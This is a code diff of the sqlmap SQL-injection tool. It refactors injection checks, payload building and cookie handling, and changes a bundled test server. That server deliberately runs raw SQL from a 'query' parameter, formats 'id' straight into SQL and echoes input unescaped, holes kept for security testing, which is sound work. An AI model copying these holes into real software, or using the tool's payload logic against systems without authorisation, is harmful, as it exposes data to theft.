-            if "id" not in params:
+
-                self.send_response(FOUND)
+            if not any(_ in self.params for _ in ("id", "query")):
-                self.send_header("Connection", "close")
-                self.send_header("Location", "/?id=1")
-                self.end_headers()
-            else:
                 self.send_response(OK)
-                self.send_header("Content-type", "text/html")
+                self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
                 self.send_header("Connection", "close")
                 self.end_headers()
+                self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
+            else:
+                code, output = OK, ""
 
                 try:
+
+                    if self.params.get("echo", ""):
+                        output += "%s<br>" % self.params["echo"]
+
                     with _lock:
-                        _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", ""))
+                        if "query" in self.params:
+                            _cursor.execute(self.params["query"])
+                        elif "id" in self.params:
+                            _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                         results = _cursor.fetchall()
 
-                    output = "<b>SQL results:</b>\n"
+                    output += "<b>SQL results:</b>\n"
                     output += "<table border=\"1\">\n"
+
                     for row in results:
                         output += "<tr>"
                         for value in row:
                             output += "<td>%s</td>" % value
                         output += "</tr>\n"
+
                     output += "</table>\n"
                     output += "</body></html>"
                 except Exception as ex:
+                    code = INTERNAL_SERVER_ERROR
                     output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
 
-                self.wfile.write(output.encode("utf8"))
+                self.send_response(code)
+
+                self.send_header("Content-type", "text/html")
+                self.send_header("Connection", "close")
+
+                if self.raw_requestline.startswith(b"HEAD"):
+                    self.send_header("Content-Length", str(len(output)))
+                    self.end_headers()
+                else:
+                    self.end_headers()
+                    self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
         else:
             self.send_response(NOT_FOUND)
             self.send_header("Connection", "close")
@@ -145,11 +181,17 @@ class ReqHandler(BaseHTTPRequestHandler):
     def do_GET(self):
         self.do_REQUEST()
 
+    def do_PUT(self):
+        self.do_REQUEST()
+
+    def do_HEAD(self):
+        self.do_REQUEST()
+
     def do_POST(self):
         length = int(self.headers.get("Content-length", 0))
         if length:
             data = self.rfile.read(length)
-            data = unquote_plus(data.decode("utf8"))
+            data = unquote_plus(data.decode(UNICODE_ENCODING))
             self.data = data
         self.do_REQUEST()
 

lib/controller/action.py

@@ -181,7 +181,10 @@ def action():
             raise
 
     if conf.sqlQuery:
-        conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery))
+        for query in conf.sqlQuery.strip(';').split(';'):
+            query = query.strip()
+            if query:
+                conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
 
     if conf.sqlShell:
         conf.dbmsHandler.sqlShell()

lib/controller/checks.py

@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
+from lib.core.common import joinValue
 from lib.core.common import listToStrValue
 from lib.core.common import parseFilePaths
 from lib.core.common import popValue
@@ -44,6 +45,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import wasLastResponseDBMSError
 from lib.core.common import wasLastResponseHTTPError
 from lib.core.compat import xrange
+from lib.core.convert import getBytes
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -73,6 +75,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
 from lib.core.settings import CHECK_INTERNET_ADDRESS
 from lib.core.settings import CHECK_INTERNET_VALUE
+from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
 from lib.core.settings import FI_ERROR_REGEX
@@ -152,7 +155,7 @@ def checkSqlInjection(place, parameter, value):
                 # payload), ask the user to limit the tests to the fingerprinted
                 # DBMS
                 if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
-                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
+                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                     msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
                     kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
 
@@ -162,7 +165,7 @@ def checkSqlInjection(place, parameter, value):
             # regardless of --level and --risk values provided
             if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                 msg = "for the remaining tests, do you want to include all tests "
-                msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
+                msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                 msg += "level (%d)" % conf.level if conf.level < 5 else ""
                 msg += " and " if conf.level < 5 and conf.risk < 3 else ""
                 msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
@@ -598,7 +601,7 @@ def checkSqlInjection(place, parameter, value):
                                         if candidates:
                                             candidates = sorted(candidates, key=len)
                                             for candidate in candidates:
-                                                if re.match(r"\A\w+\Z", candidate):
+                                                if re.match(r"\A\w{2,}\Z", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                     break
 
                                             conf.string = candidate
@@ -785,8 +788,12 @@ def checkSqlInjection(place, parameter, value):
                                 infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
                                 logger.info(infoMsg)
 
-                                process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
+                                try:
-                                process.wait()
+                                    process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
+                                    process.wait()
+                                except Exception as ex:
+                                    errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
+                                    logger.error(errMsg)
 
                             kb.alerted = True
 
@@ -924,6 +931,9 @@ def checkFalsePositives(injection):
                 randInt1 = min(randInt1, randInt2, randInt3)
                 randInt3 = max(randInt1, randInt2, randInt3)
 
+                if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
+                    continue
+
                 if randInt3 > randInt2 > randInt1:
                     break
 
@@ -1098,6 +1108,7 @@ def heuristicCheckSqlInjection(place, parameter):
         logger.warn(infoMsg)
 
     kb.heuristicMode = True
+    kb.disableHtmlDecoding = True
 
     randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
     value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
@@ -1117,6 +1128,7 @@ def heuristicCheckSqlInjection(place, parameter):
             logger.info(infoMsg)
             break
 
+    kb.disableHtmlDecoding = False
     kb.heuristicMode = False
 
     return kb.heuristicTest
@@ -1511,8 +1523,9 @@ def checkConnection(suppressOutput=False):
             conf.disablePrecon = True
 
         if not kb.originalPage and wasLastResponseHTTPError():
-            errMsg = "unable to retrieve page content"
+            if getLastRequestHTTPError() not in (conf.ignoreCode or []):
-            raise SqlmapConnectionException(errMsg)
+                errMsg = "unable to retrieve page content"
+                raise SqlmapConnectionException(errMsg)
         elif wasLastResponseDBMSError():
             warnMsg = "there is a DBMS error found in the HTTP response body "
             warnMsg += "which could interfere with the results of the tests"
@@ -1559,6 +1572,16 @@ def checkConnection(suppressOutput=False):
         kb.originalPage = kb.pageTemplate = threadData.lastPage
         kb.originalCode = threadData.lastCode
 
+    if conf.cj and not conf.cookie and not conf.dropSetCookie:
+        candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
+
+        message = "you have not declared cookie(s), while "
+        message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)
+        message += "Do you want to use those [Y/n] "
+        if readInput(message, default='Y', boolean=True):
+            kb.mergeCookies = True
+            conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate))
+
     return True
 
 def checkInternet():

lib/controller/controller.py

@@ -31,10 +31,12 @@ from lib.core.common import getSafeExString
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
+from lib.core.common import isDigit
 from lib.core.common import isListLike
 from lib.core.common import parseTargetUrl
 from lib.core.common import popValue
 from lib.core.common import pushValue
+from lib.core.common import randomInt
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import removePostHintPrefix
@@ -129,7 +131,7 @@ def _selectInjection():
         message += "[q] Quit"
         choice = readInput(message, default='0').upper()
 
-        if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0:
+        if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0:
             index = int(choice)
         elif choice == 'Q':
             raise SqlmapUserQuitException
@@ -202,10 +204,11 @@ def _randomFillBlankFields(value):
             for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
                 item = match.group("result")
                 if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
+                    newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
                     if item[-1] == DEFAULT_GET_POST_DELIMITER:
-                        retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
+                        retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
                     else:
-                        retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
+                        retVal = retVal.replace(item, "%s%s" % (item, newValue))
 
     return retVal
 
@@ -256,13 +259,9 @@ def _saveToResultsFile():
             line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
             conf.resultsFP.write(line)
 
-        if not results:
-            line = "%s,,,,%s" % (conf.url, os.linesep)
-            conf.resultsFP.write(line)
-
         conf.resultsFP.flush()
     except IOError as ex:
-        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
+        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
         raise SqlmapSystemException(errMsg)
 
 @stackedmethod
@@ -292,7 +291,7 @@ def start():
         return False
 
     if kb.targets and len(kb.targets) > 1:
-        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
+        infoMsg = "found a total of %d targets" % len(kb.targets)
         logger.info(infoMsg)
 
     hostCount = 0
@@ -300,7 +299,6 @@ def start():
 
     for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
         try:
-
             if conf.checkInternet:
                 infoMsg = "checking for Internet connection"
                 logger.info(infoMsg)
@@ -316,7 +314,7 @@ def start():
                     dataToStdout("\n")
 
             conf.url = targetUrl
-            conf.method = targetMethod.upper() if targetMethod else targetMethod
+            conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
             conf.data = targetData
             conf.cookie = targetCookie
             conf.httpHeaders = list(initialHeaders)
@@ -374,7 +372,7 @@ def start():
                     message += "\nCookie: %s" % conf.cookie
 
                 if conf.data is not None:
-                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")
+                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
 
                 if conf.forms and conf.method:
                     if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -389,7 +387,7 @@ def start():
                         break
                     else:
                         if conf.method != HTTPMETHOD.GET:
-                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
+                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
                             conf.data = readInput(message, default=conf.data)
                             conf.data = _randomFillBlankFields(conf.data)
                             conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
@@ -422,6 +420,15 @@ def start():
             if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
                 continue
 
+            if conf.rParam and kb.originalPage:
+                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
+
+                for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage):
+                    name, _ = match.groups()
+                    options = tuple(re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)", _))
+                    if options:
+                        kb.randomPool[name] = options
+
             checkWaf()
 
             if conf.nullConnection:
@@ -475,9 +482,6 @@ def start():
                     if skip:
                         continue
 
-                    if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
-                        continue
-
                     if place not in conf.paramDict:
                         continue
 
@@ -731,9 +735,9 @@ def start():
         logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
 
     if conf.multipleTargets:
-        if conf.resultsFilename:
+        if conf.resultsFile:
             infoMsg = "you can find results of scanning in multiple targets "
-            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
+            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
             logger.info(infoMsg)
 
     return True

lib/core/agent.py

@@ -5,7 +5,6 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import base64
 import re
 
 from lib.core.common import Backend
@@ -27,6 +26,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import urlencode
 from lib.core.common import zeroDepthSearch
 from lib.core.compat import xrange
+from lib.core.convert import encodeBase64
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -50,7 +50,9 @@ from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
 from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.unescaper import unescaper
+from thirdparty import six
 
 class Agent(object):
     """
@@ -119,7 +121,7 @@ class Agent(object):
             paramString = origValue
             origValue = origValue.split(kb.customInjectionMark)[0]
             if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
-                origValue = origValue.split('>')[-1]
+                origValue = re.split(r"['\">]", origValue)[-1]
             elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                 origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
             else:
@@ -169,17 +171,21 @@ class Agent(object):
 
         if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
             # TODO: support for POST_HINT
-            newValue = base64.b64encode(newValue)
+            newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
-            origValue = base64.b64encode(origValue)
+            origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
             _ = "%s%s" % (origValue, kb.customInjectionMark)
+
             if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
-                newValue = '"%s"' % newValue
+                newValue = '"%s"' % self.addPayloadDelimiters(newValue)
             elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
-                newValue = "'%s'" % newValue
+                newValue = "'%s'" % self.addPayloadDelimiters(newValue)
+            else:
+                newValue = self.addPayloadDelimiters(newValue)
+
             newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
-            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
+            retVal = paramString.replace(_, newValue)
             retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
         elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
             retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
@@ -308,7 +314,7 @@ class Agent(object):
         return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
 
     def cleanupPayload(self, payload, origValue=None):
-        if payload is None:
+        if not isinstance(payload, six.string_types):
             return
 
         replacements = {
@@ -333,6 +339,7 @@ class Agent(object):
 
         if origValue is not None:
             origValue = getUnicode(origValue)
+
             if "[ORIGVALUE]" in payload:
                 payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
             if "[ORIGINAL]" in payload:
@@ -351,6 +358,7 @@ class Agent(object):
                     inferenceQuery = inference.query
 
                 payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
+
             elif not kb.testMode:
                 errMsg = "invalid usage of inference payload without "
                 errMsg += "knowledge of underlying DBMS"
@@ -393,7 +401,7 @@ class Agent(object):
         if "hex" in rootQuery:
             hexField = rootQuery.hex.query % field
         else:
-            warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
+            warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
             singleTimeWarnMessage(warnMsg)
 
         return hexField
@@ -443,7 +451,7 @@ class Agent(object):
                 else:
                     nulledCastedField = rootQuery.isnull.query % nulledCastedField
 
-            kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',')
+            kb.binaryField = conf.binaryFields and field in conf.binaryFields
             if conf.hexConvert or kb.binaryField:
                 nulledCastedField = self.hexConvertField(nulledCastedField)
 
@@ -651,7 +659,7 @@ class Agent(object):
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
                 concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
-                concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
+                concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
             elif fieldsSelect:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -1007,7 +1015,7 @@ class Agent(object):
                         limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
 
                     limitedQuery += "NOT IN (%s" % (limitStr % num)
-                    limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or "1", uniqueField or "1")
+                    limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1')
                 else:
                     match = re.search(r" ORDER BY (\w+)\Z", query)
                     field = match.group(1) if match else field
@@ -1081,7 +1089,7 @@ class Agent(object):
         Removes payload delimiters from inside the input string
         """
 
-        return value.replace(PAYLOAD_DELIMITER, '') if value else value
+        return value.replace(PAYLOAD_DELIMITER, "") if value else value
 
     def extractPayload(self, value):
         """
@@ -1107,7 +1115,12 @@ class Agent(object):
 
     def whereQuery(self, query):
         if conf.dumpWhere and query:
-            prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
+            match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+            if match:
+                suffix = match.group(0)
+                prefix = query[:-len(suffix)]
+            else:
+                prefix, suffix = query, ""
 
             if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                 prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1116,7 +1129,9 @@ class Agent(object):
             else:
                 prefix += " WHERE %s" % conf.dumpWhere
 
-            query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
+            query = prefix
+            if suffix:
+                query += suffix
 
         return query
 

lib/core/common.py

@@ -46,7 +46,6 @@ from xml.sax import SAXParseException
 
 from extra.beep.beep import beep
 from extra.cloak.cloak import decloak
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.bigarray import BigArray
 from lib.core.compat import cmp
 from lib.core.compat import round
@@ -131,6 +130,7 @@ from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
 from lib.core.settings import HASHDB_MILESTONE_VALUE
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
+from lib.core.settings import IGNORE_PARAMETERS
 from lib.core.settings import IGNORE_SAVE_OPTIONS
 from lib.core.settings import INFERENCE_UNKNOWN_CHAR
 from lib.core.settings import IP_ADDRESS_REGEX
@@ -180,6 +180,7 @@ from lib.core.settings import VERSION_STRING
 from lib.core.settings import ZIP_HEADER
 from lib.core.settings import WEBSCARAB_SPLITTER
 from lib.core.threads import getCurrentThreadData
+from lib.utils.safe2bin import safecharencode
 from lib.utils.sqlalchemy import _sqlalchemy
 from thirdparty import six
 from thirdparty.clientform.clientform import ParseResponse
@@ -623,8 +624,8 @@ def paramToDict(place, parameters=None):
                 if parameter in (conf.base64Parameter or []):
                     try:
                         oldValue = value
-                        value = decodeBase64(value, binary=False)
+                        value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
-                        parameters = re.sub(r"\b%s\b" % re.escape(oldValue), value, parameters)
+                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
                     except:
                         errMsg = "parameter '%s' does not contain " % parameter
                         errMsg += "valid Base64 encoded value ('%s')" % value
@@ -701,7 +702,7 @@ def paramToDict(place, parameters=None):
                             message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_)
 
                             if readInput(message, default='N', boolean=True):
-                                testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])).replace("\\", r"\\"), parameters)
+                                testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter].replace("\\", r"\\"))), parameters)
                             break
 
     if conf.testParameter:
@@ -1231,7 +1232,7 @@ def checkPipedInput():
     # Reference: https://stackoverflow.com/a/33873570
     """
 
-    return not os.isatty(sys.stdin.fileno())
+    return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
 
 def isZipFile(filename):
     """
@@ -1245,6 +1246,22 @@ def isZipFile(filename):
 
     return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
 
+def isDigit(value):
+    """
+    Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic)
+
+    >>> u'\xb2'.isdigit()
+    True
+    >>> isDigit(u'\xb2')
+    False
+    >>> isDigit('123456')
+    True
+    >>> isDigit('3b3')
+    False
+    """
+
+    return re.search(r"\A[0-9]+\Z", value or "") is not None
+
 def checkFile(filename, raiseOnError=True):
     """
     Checks for file existence and readability
@@ -1285,36 +1302,43 @@ def banner():
     """
 
     if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
-        _ = BANNER
+        result = BANNER
 
         if not IS_TTY or "--disable-coloring" in sys.argv:
-            _ = clearColors(_)
+            result = clearColors(result)
         elif IS_WIN:
             coloramainit()
 
-        dataToStdout(_, forceOutput=True)
+        dataToStdout(result, forceOutput=True)
 
 def parsePasswordHash(password):
     """
     In case of Microsoft SQL Server password hash value is expanded to its components
+
+    >>> pushValue(kb.forcedDbms)
+    >>> kb.forcedDbms = DBMS.MSSQL
+    >>> "salt: 4086ceb6" in parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a")
+    True
+    >>> kb.forcedDbms = popValue()
     """
 
     blank = " " * 8
 
-    if not password or password == " ":
+    if isNoneValue(password) or password == " ":
-        password = NULL
+        retVal = NULL
+    else:
+        retVal = password
 
-    if Backend.isDbms(DBMS.MSSQL) and password != NULL and isHexEncodedString(password):
+    if Backend.isDbms(DBMS.MSSQL) and retVal != NULL and isHexEncodedString(password):
-        hexPassword = password
+        retVal = "%s\n" % password
-        password = "%s\n" % hexPassword
+        retVal += "%sheader: %s\n" % (blank, password[:6])
-        password += "%sheader: %s\n" % (blank, hexPassword[:6])
+        retVal += "%ssalt: %s\n" % (blank, password[6:14])
-        password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
+        retVal += "%smixedcase: %s\n" % (blank, password[14:54])
-        password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
 
-        if not Backend.isVersionWithin(("2005", "2008")):
+        if password[54:]:
-            password += "%suppercase: %s" % (blank, hexPassword[54:])
+            retVal += "%suppercase: %s" % (blank, password[54:])
 
-    return password
+    return retVal
 
 def cleanQuery(query):
     """
@@ -1673,7 +1697,7 @@ def expandAsteriskForColumns(expression):
         if db is None:
             if expression != conf.sqlQuery:
                 conf.db = db
-            else:
+            elif conf.db:
                 expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), r"\g<1>%s.%s" % (conf.db, conf.tbl), expression)
         else:
             conf.db = db
@@ -1946,7 +1970,7 @@ def safeFilepathEncode(filepath):
     retVal = filepath
 
     if filepath and six.PY2 and isinstance(filepath, six.text_type):
-        retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
+        retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING)
 
     return retVal
 
@@ -2739,7 +2763,7 @@ def findMultipartPostBoundary(post):
 
     return retVal
 
-def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
+def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
     """
     URL decodes given value
 
@@ -3171,7 +3195,10 @@ def isDBMSVersionAtLeast(minimum):
                 parts[1] = filterStringValue(parts[1], '[0-9]')
                 version = '.'.join(parts)
 
-            version = float(filterStringValue(version, '[0-9.]')) + correction
+            try:
+                version = float(filterStringValue(version, '[0-9.]')) + correction
+            except ValueError:
+                return None
 
             if isinstance(minimum, six.string_types):
                 if '.' in minimum:
@@ -3457,6 +3484,23 @@ def flattenValue(value):
         else:
             yield i
 
+def joinValue(value, delimiter=','):
+    """
+    Returns a value consisting of joined parts of a given value
+
+    >>> joinValue(['1', '2'])
+    '1,2'
+    >>> joinValue('1')
+    '1'
+    """
+
+    if isListLike(value):
+        retVal = delimiter.join(value)
+    else:
+        retVal = value
+
+    return retVal
+
 def isListLike(value):
     """
     Returns True if the given value is a list-like instance
@@ -3536,8 +3580,14 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
 
     >>> "openFile" in openFile(__file__).read()
     True
+    >>> b"openFile" in openFile(__file__, "rb", None).read()
+    True
     """
 
+    # Reference: https://stackoverflow.com/a/37462452
+    if 'b' in mode:
+        buffering = 0
+
     if filename == STDIN_PIPE_DASH:
         if filename not in kb.cache.content:
             kb.cache.content[filename] = sys.stdin.read()
@@ -3567,16 +3617,20 @@ def decodeIntToUnicode(value):
         try:
             if value > 255:
                 _ = "%x" % value
+
                 if len(_) % 2 == 1:
                     _ = "0%s" % _
+
                 raw = decodeHex(_)
 
                 if Backend.isDbms(DBMS.MYSQL):
+                    # Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord
                     # Note: https://github.com/sqlmapproject/sqlmap/issues/1531
                     retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
                 elif Backend.isDbms(DBMS.MSSQL):
+                    # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
                     retVal = getUnicode(raw, "UTF-16-BE")
-                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):     # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
                     retVal = _unichr(value)
                 else:
                     retVal = getUnicode(raw, conf.encoding)
@@ -3662,7 +3716,7 @@ def getLatestRevision():
